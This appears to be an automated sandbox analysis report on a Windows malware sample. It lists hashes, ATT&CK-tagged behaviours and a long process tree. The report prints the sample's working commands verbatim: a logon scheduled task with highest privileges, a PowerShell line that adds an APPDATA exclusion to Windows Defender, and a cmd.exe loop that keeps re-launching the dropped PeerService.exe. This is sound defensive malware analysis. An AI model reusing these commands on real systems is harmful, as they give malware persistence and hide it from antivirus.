2e0d71fd301e65f5caf2c5f01bf998e905ce1e66296691e92855e1e609b4007c

Analysis

max time kernel
150s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
10/09/2026, 11:40

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2e0d71fd301e65f5caf2c5f01bf998e905ce1e66296691e92855e1e609b4007c.exe
Size 3.7MB
Sample260910-nsvwlabn7x
SHA256 2e0d71fd301e65f5caf2c5f01bf998e905ce1e66296691e92855e1e609b4007c
MD5 4a8c2a3965a6444f17d2a52933c7ea01
SHA1 9793536008841be0c963f2073127fb8ae1ab468d
SHA512 d5a593daea49ea1c132492dd03726c6dac7970c4690fbe8d7d1d4df699d9f21af61f5839613789fa1382fb341357f32a0ea829c284c6aa9ce7677b13eea98f37
SSDEEP 49152:s++Mx9P91XZhIl8pFJ8HsKkZrn5SHL4Qu2XG8ZoI9Z9rqyI44HppuzGxHHY4L2qj:s+hxpLJlKkvs7WGoqZ92yVG/uzGNV9R
TLSH
T12106D06BB26901E8D1BFD17CC9165907EBB2780503A0A7DF02E046A62F77BE14E7E315
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

defense_evasion discovery execution persistence

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
4424	powershell.exe
2884	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2937465464-4167303362-2236413517-1000\Control Panel\International\Geo\Nation	2e0d71fd301e65f5caf2c5f01bf998e905ce1e66296691e92855e1e609b4007c.exe

Executes dropped EXE 2 IoCs

pid	Process
936	PeerService.exe
2720	PeerService.exe

Discovers running processes 1 TTPs 60 IoCs

Running process information can be used to identify security tools or plan follow-on actions.

discovery

Process Discovery

T1057

pid	Process
3168	tasklist.exe
4176	tasklist.exe
1036	tasklist.exe
4988	tasklist.exe
3328	tasklist.exe
4648	tasklist.exe
3348	tasklist.exe
4316	tasklist.exe
4020	tasklist.exe
4580	tasklist.exe
736	tasklist.exe
4592	tasklist.exe
4660	tasklist.exe
4192	tasklist.exe
1904	tasklist.exe
1124	tasklist.exe
4520	tasklist.exe
848	tasklist.exe
1608	tasklist.exe
1264	tasklist.exe
5092	tasklist.exe
4132	tasklist.exe
1736	tasklist.exe
1060	tasklist.exe
2632	tasklist.exe
1976	tasklist.exe
4824	tasklist.exe
3116	tasklist.exe
4088	tasklist.exe
2532	tasklist.exe
2784	tasklist.exe
4192	tasklist.exe
3344	tasklist.exe
3364	tasklist.exe
3752	tasklist.exe
4592	tasklist.exe
4116	tasklist.exe
800	tasklist.exe
3204	tasklist.exe
860	tasklist.exe
4648	tasklist.exe
4192	tasklist.exe
5060	tasklist.exe
2300	tasklist.exe
4180	tasklist.exe
3232	tasklist.exe
4496	tasklist.exe
1800	tasklist.exe
588	tasklist.exe
204	tasklist.exe
4520	tasklist.exe
3052	tasklist.exe
2524	tasklist.exe
4004	tasklist.exe
4756	tasklist.exe
4800	tasklist.exe
1656	tasklist.exe
3268	tasklist.exe
416	tasklist.exe
736	tasklist.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 5 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
5016	cmd.exe
864	cmd.exe
4232	cmd.exe
960	cmd.exe
3288	cmd.exe

Delays execution with timeout.exe 60 IoCs

defense_evasion

pid	Process
2336	timeout.exe
1472	timeout.exe
5104	timeout.exe
4532	timeout.exe
4940	timeout.exe
4176	timeout.exe
4132	timeout.exe
1792	timeout.exe
1276	timeout.exe
3016	timeout.exe
4192	timeout.exe
3888	timeout.exe
3356	timeout.exe
2968	timeout.exe
4744	timeout.exe
4004	timeout.exe
456	timeout.exe
2224	timeout.exe
4720	timeout.exe
4180	timeout.exe
3116	timeout.exe
1148	timeout.exe
3348	timeout.exe
2400	timeout.exe
2488	timeout.exe
4052	timeout.exe
1656	timeout.exe
4080	timeout.exe
2884	timeout.exe
4080	timeout.exe
4400	timeout.exe
1036	timeout.exe
3108	timeout.exe
1424	timeout.exe
4004	timeout.exe
4532	timeout.exe
2012	timeout.exe
4244	timeout.exe
3084	timeout.exe
1036	timeout.exe
4360	timeout.exe
3776	timeout.exe
3416	timeout.exe
2256	timeout.exe
2992	timeout.exe
5104	timeout.exe
4312	timeout.exe
4484	timeout.exe
5020	timeout.exe
1796	timeout.exe
4052	timeout.exe
2028	timeout.exe
3524	timeout.exe
2028	timeout.exe
2260	timeout.exe
3988	timeout.exe
2192	timeout.exe
2024	timeout.exe
3152	timeout.exe
4364	timeout.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
4840	schtasks.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
2884	powershell.exe
2884	powershell.exe
4424	powershell.exe
4424	powershell.exe
2884	powershell.exe
4424	powershell.exe

Suspicious use of AdjustPrivilegeToken 62 IoCs

description	pid	Process
Token: SeDebugPrivilege	1124	tasklist.exe
Token: SeDebugPrivilege	4660	tasklist.exe
Token: SeDebugPrivilege	2884	powershell.exe
Token: SeDebugPrivilege	4424	powershell.exe
Token: SeDebugPrivilege	800	tasklist.exe
Token: SeDebugPrivilege	1976	tasklist.exe
Token: SeDebugPrivilege	5060	tasklist.exe
Token: SeDebugPrivilege	2300	tasklist.exe
Token: SeDebugPrivilege	3344	tasklist.exe
Token: SeDebugPrivilege	860	tasklist.exe
Token: SeDebugPrivilege	2524	tasklist.exe
Token: SeDebugPrivilege	4520	tasklist.exe
Token: SeDebugPrivilege	3364	tasklist.exe
Token: SeDebugPrivilege	4824	tasklist.exe
Token: SeDebugPrivilege	4176	tasklist.exe
Token: SeDebugPrivilege	3752	tasklist.exe
Token: SeDebugPrivilege	1036	tasklist.exe
Token: SeDebugPrivilege	4180	tasklist.exe
Token: SeDebugPrivilege	588	tasklist.exe
Token: SeDebugPrivilege	848	tasklist.exe
Token: SeDebugPrivilege	4004	tasklist.exe
Token: SeDebugPrivilege	4756	tasklist.exe
Token: SeDebugPrivilege	3232	tasklist.exe
Token: SeDebugPrivilege	4648	tasklist.exe
Token: SeDebugPrivilege	5092	tasklist.exe
Token: SeDebugPrivilege	4988	tasklist.exe
Token: SeDebugPrivilege	204	tasklist.exe
Token: SeDebugPrivilege	4192	tasklist.exe
Token: SeDebugPrivilege	3328	tasklist.exe
Token: SeDebugPrivilege	4800	tasklist.exe
Token: SeDebugPrivilege	736	tasklist.exe
Token: SeDebugPrivilege	1656	tasklist.exe
Token: SeDebugPrivilege	3268	tasklist.exe
Token: SeDebugPrivilege	4496	tasklist.exe
Token: SeDebugPrivilege	4192	tasklist.exe
Token: SeDebugPrivilege	4592	tasklist.exe
Token: SeDebugPrivilege	3116	tasklist.exe
Token: SeDebugPrivilege	4088	tasklist.exe
Token: SeDebugPrivilege	4132	tasklist.exe
Token: SeDebugPrivilege	416	tasklist.exe
Token: SeDebugPrivilege	736	tasklist.exe
Token: SeDebugPrivilege	2632	tasklist.exe
Token: SeDebugPrivilege	4316	tasklist.exe
Token: SeDebugPrivilege	1736	tasklist.exe
Token: SeDebugPrivilege	1060	tasklist.exe
Token: SeDebugPrivilege	4648	tasklist.exe
Token: SeDebugPrivilege	2532	tasklist.exe
Token: SeDebugPrivilege	2784	tasklist.exe
Token: SeDebugPrivilege	4192	tasklist.exe
Token: SeDebugPrivilege	4592	tasklist.exe
Token: SeDebugPrivilege	4020	tasklist.exe
Token: SeDebugPrivilege	1608	tasklist.exe
Token: SeDebugPrivilege	3348	tasklist.exe
Token: SeDebugPrivilege	4520	tasklist.exe
Token: SeDebugPrivilege	1800	tasklist.exe
Token: SeDebugPrivilege	3168	tasklist.exe
Token: SeDebugPrivilege	1904	tasklist.exe
Token: SeDebugPrivilege	1264	tasklist.exe
Token: SeDebugPrivilege	3204	tasklist.exe
Token: SeDebugPrivilege	4116	tasklist.exe
Token: SeDebugPrivilege	4580	tasklist.exe
Token: SeDebugPrivilege	3052	tasklist.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4968 wrote to memory of 3288	4968	2e0d71fd301e65f5caf2c5f01bf998e905ce1e66296691e92855e1e609b4007c.exe	86
PID 3288 wrote to memory of 4840	3288	cmd.exe	88
PID 4968 wrote to memory of 936	4968	2e0d71fd301e65f5caf2c5f01bf998e905ce1e66296691e92855e1e609b4007c.exe	89
PID 936 wrote to memory of 960	936	PeerService.exe	94
PID 936 wrote to memory of 4232	936	PeerService.exe	95
PID 2720 wrote to memory of 864	2720	PeerService.exe	98
PID 2720 wrote to memory of 5016	2720	PeerService.exe	99
PID 4232 wrote to memory of 1124	4232	cmd.exe	103
PID 4232 wrote to memory of 1772	4232	cmd.exe	104
PID 960 wrote to memory of 4424	960	cmd.exe	105
PID 5016 wrote to memory of 4660	5016	cmd.exe	106
PID 5016 wrote to memory of 4504	5016	cmd.exe	107
PID 864 wrote to memory of 2884	864	cmd.exe	108
PID 5016 wrote to memory of 2260	5016	cmd.exe	110
PID 4232 wrote to memory of 4940	4232	cmd.exe	111
PID 4232 wrote to memory of 800	4232	cmd.exe	115
PID 4232 wrote to memory of 2368	4232	cmd.exe	116
PID 5016 wrote to memory of 1976	5016	cmd.exe	117
PID 5016 wrote to memory of 588	5016	cmd.exe	118
PID 4232 wrote to memory of 1424	4232	cmd.exe	119
PID 5016 wrote to memory of 1276	5016	cmd.exe	120
PID 4232 wrote to memory of 5060	4232	cmd.exe	122
PID 4232 wrote to memory of 3412	4232	cmd.exe	123
PID 5016 wrote to memory of 2300	5016	cmd.exe	124
PID 5016 wrote to memory of 2480	5016	cmd.exe	125
PID 4232 wrote to memory of 2968	4232	cmd.exe	126
PID 5016 wrote to memory of 1036	5016	cmd.exe	127
PID 4232 wrote to memory of 3344	4232	cmd.exe	133
PID 4232 wrote to memory of 4424	4232	cmd.exe	134
PID 5016 wrote to memory of 860	5016	cmd.exe	135
PID 5016 wrote to memory of 4488	5016	cmd.exe	136
PID 4232 wrote to memory of 3348	4232	cmd.exe	137
PID 5016 wrote to memory of 5020	5016	cmd.exe	138
PID 4232 wrote to memory of 2524	4232	cmd.exe	141
PID 4232 wrote to memory of 4132	4232	cmd.exe	142
PID 5016 wrote to memory of 4520	5016	cmd.exe	143
PID 5016 wrote to memory of 3740	5016	cmd.exe	144
PID 5016 wrote to memory of 3988	5016	cmd.exe	145
PID 4232 wrote to memory of 4004	4232	cmd.exe	146
PID 5016 wrote to memory of 3364	5016	cmd.exe	147
PID 5016 wrote to memory of 1424	5016	cmd.exe	148
PID 4232 wrote to memory of 4824	4232	cmd.exe	149
PID 4232 wrote to memory of 5104	4232	cmd.exe	150
PID 4232 wrote to memory of 1796	4232	cmd.exe	151
PID 5016 wrote to memory of 3016	5016	cmd.exe	152
PID 4232 wrote to memory of 4176	4232	cmd.exe	154
PID 4232 wrote to memory of 5036	4232	cmd.exe	155
PID 5016 wrote to memory of 3752	5016	cmd.exe	156
PID 5016 wrote to memory of 4988	5016	cmd.exe	157
PID 4232 wrote to memory of 4192	4232	cmd.exe	158
PID 5016 wrote to memory of 2488	5016	cmd.exe	159
PID 4232 wrote to memory of 1036	4232	cmd.exe	161
PID 4232 wrote to memory of 3876	4232	cmd.exe	162
PID 5016 wrote to memory of 4180	5016	cmd.exe	163
PID 5016 wrote to memory of 1760	5016	cmd.exe	164
PID 4232 wrote to memory of 2400	4232	cmd.exe	165
PID 5016 wrote to memory of 2192	5016	cmd.exe	166
PID 4232 wrote to memory of 588	4232	cmd.exe	168
PID 4232 wrote to memory of 1976	4232	cmd.exe	169
PID 5016 wrote to memory of 848	5016	cmd.exe	170
PID 5016 wrote to memory of 648	5016	cmd.exe	171
PID 5016 wrote to memory of 4312	5016	cmd.exe	172
PID 4232 wrote to memory of 2256	4232	cmd.exe	173
PID 5016 wrote to memory of 4004	5016	cmd.exe	174

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\2e0d71fd301e65f5caf2c5f01bf998e905ce1e66296691e92855e1e609b4007c.exe
"C:\Users\Admin\AppData\Local\Temp\2e0d71fd301e65f5caf2c5f01bf998e905ce1e66296691e92855e1e609b4007c.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4968
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C "schtasks /Create /TN "PeerCreator" /TR "C:\Users\Admin\AppData\Roaming\PeerService\PeerService.exe" /SC ONLOGON /RL HIGHEST /F >nul 2>nul"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3288
- - C:\Windows\system32\schtasks.exe
    schtasks /Create /TN "PeerCreator" /TR "C:\Users\Admin\AppData\Roaming\PeerService\PeerService.exe" /SC ONLOGON /RL HIGHEST /F
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4840
- C:\Users\Admin\AppData\Roaming\PeerService\PeerService.exe
  "C:\Users\Admin\AppData\Roaming\PeerService\PeerService.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:936
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /C "powershell -Command "Add-MpPreference -ExclusionPath $env:APPDATA""
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:960
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Add-MpPreference -ExclusionPath $env:APPDATA"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4424
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /C "for /l %i in () do (tasklist | find /i "PeerService.exe" >nul || (copy /y "C:\Users\Admin\AppData\Local\Temp\\chw.aof" "C:\Users\Admin\AppData\Roaming\PeerService\PeerService.exe" & start "" "C:\Users\Admin\AppData\Roaming\PeerService\PeerService.exe" & exit) & timeout /t 5 >nul)"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:4232
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Discovers running processes
      Suspicious use of AdjustPrivilegeToken
      PID:1124
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:1772
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:4940
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Discovers running processes
      Suspicious use of AdjustPrivilegeToken
      PID:800
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:2368
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:1424
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Discovers running processes
      Suspicious use of AdjustPrivilegeToken
      PID:5060
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:3412
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:2968
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Discovers running processes
      Suspicious use of AdjustPrivilegeToken
      PID:3344
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:4424
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:3348
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Discovers running processes
      Suspicious use of AdjustPrivilegeToken
      PID:2524
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:4132
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:4004
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Discovers running processes
      Suspicious use of AdjustPrivilegeToken
      PID:4824
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:5104
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:1796
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Discovers running processes
      Suspicious use of AdjustPrivilegeToken
      PID:4176
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:5036
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:4192
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Discovers running processes
      Suspicious use of AdjustPrivilegeToken
      PID:1036
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:3876
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:2400
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Discovers running processes
      Suspicious use of AdjustPrivilegeToken
      PID:588
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:1976
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:2256
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Discovers running processes
      Suspicious use of AdjustPrivilegeToken
      PID:4756
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:4828
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:4744
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Discovers running processes
      Suspicious use of AdjustPrivilegeToken
      PID:3232
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:2456
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:4532
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Discovers running processes
      Suspicious use of AdjustPrivilegeToken
      PID:4988
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:216
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:3888
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Discovers running processes
      Suspicious use of AdjustPrivilegeToken
      PID:4192
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:4288
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:4180
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Discovers running processes
      Suspicious use of AdjustPrivilegeToken
      PID:3328
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:4416
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:2028
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Discovers running processes
      Suspicious use of AdjustPrivilegeToken
      PID:736
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:1044
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:5104
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Discovers running processes
      Suspicious use of AdjustPrivilegeToken
      PID:4496
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:2120
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:3356
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Discovers running processes
      Suspicious use of AdjustPrivilegeToken
      PID:4592
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:1224
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:4244
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Discovers running processes
      Suspicious use of AdjustPrivilegeToken
      PID:3116
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:4504
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:3152
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Discovers running processes
      Suspicious use of AdjustPrivilegeToken
      PID:4132
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:552
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:1656
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Discovers running processes
      Suspicious use of AdjustPrivilegeToken
      PID:736
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:4824
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:4080
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Discovers running processes
      Suspicious use of AdjustPrivilegeToken
      PID:1736
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:1836
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:5104
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Discovers running processes
      Suspicious use of AdjustPrivilegeToken
      PID:4648
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:3016
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:3524
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Discovers running processes
      Suspicious use of AdjustPrivilegeToken
      PID:2784
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:3180
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:2884
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Discovers running processes
      Suspicious use of AdjustPrivilegeToken
      PID:4192
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:1008
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:3776
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Discovers running processes
      Suspicious use of AdjustPrivilegeToken
      PID:1608
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:4172
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:2224
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Discovers running processes
      Suspicious use of AdjustPrivilegeToken
      PID:4520
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:1240
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:4132
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Discovers running processes
      Suspicious use of AdjustPrivilegeToken
      PID:1800
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:2440
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:1792
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Discovers running processes
      Suspicious use of AdjustPrivilegeToken
      PID:1904
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:736
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:4080
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Discovers running processes
      Suspicious use of AdjustPrivilegeToken
      PID:3204
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:4316
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:1472
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Discovers running processes
      Suspicious use of AdjustPrivilegeToken
      PID:3052
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:1888
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:3084

C:\Users\Admin\AppData\Roaming\PeerService\PeerService.exe
C:\Users\Admin\AppData\Roaming\PeerService\PeerService.exe
1⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:2720
- C:\Windows\system32\cmd.exe
  cmd.exe /C "powershell -Command "Add-MpPreference -ExclusionPath $env:APPDATA""
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:864
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "Add-MpPreference -ExclusionPath $env:APPDATA"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2884
- C:\Windows\system32\cmd.exe
  cmd.exe /C "for /l %i in () do (tasklist | find /i "PeerService.exe" >nul || (copy /y "C:\Users\Admin\AppData\Local\Temp\\chw.aof" "C:\Users\Admin\AppData\Roaming\PeerService\PeerService.exe" & start "" "C:\Users\Admin\AppData\Roaming\PeerService\PeerService.exe" & exit) & timeout /t 5 >nul)"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:5016
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    - Suspicious use of AdjustPrivilegeToken
    PID:4660
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:4504
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:2260
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    - Suspicious use of AdjustPrivilegeToken
    PID:1976
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:588
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:1276
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    - Suspicious use of AdjustPrivilegeToken
    PID:2300
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:2480
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:1036
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    - Suspicious use of AdjustPrivilegeToken
    PID:860
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:4488
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:5020
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    - Suspicious use of AdjustPrivilegeToken
    PID:4520
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:3740
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:3988
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    - Suspicious use of AdjustPrivilegeToken
    PID:3364
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:1424
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:3016
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    - Suspicious use of AdjustPrivilegeToken
    PID:3752
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:4988
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:2488
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    - Suspicious use of AdjustPrivilegeToken
    PID:4180
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:1760
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:2192
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    - Suspicious use of AdjustPrivilegeToken
    PID:848
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:648
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:4312
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    - Suspicious use of AdjustPrivilegeToken
    PID:4004
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:364
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:4400
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    - Suspicious use of AdjustPrivilegeToken
    PID:4648
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:4628
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:4052
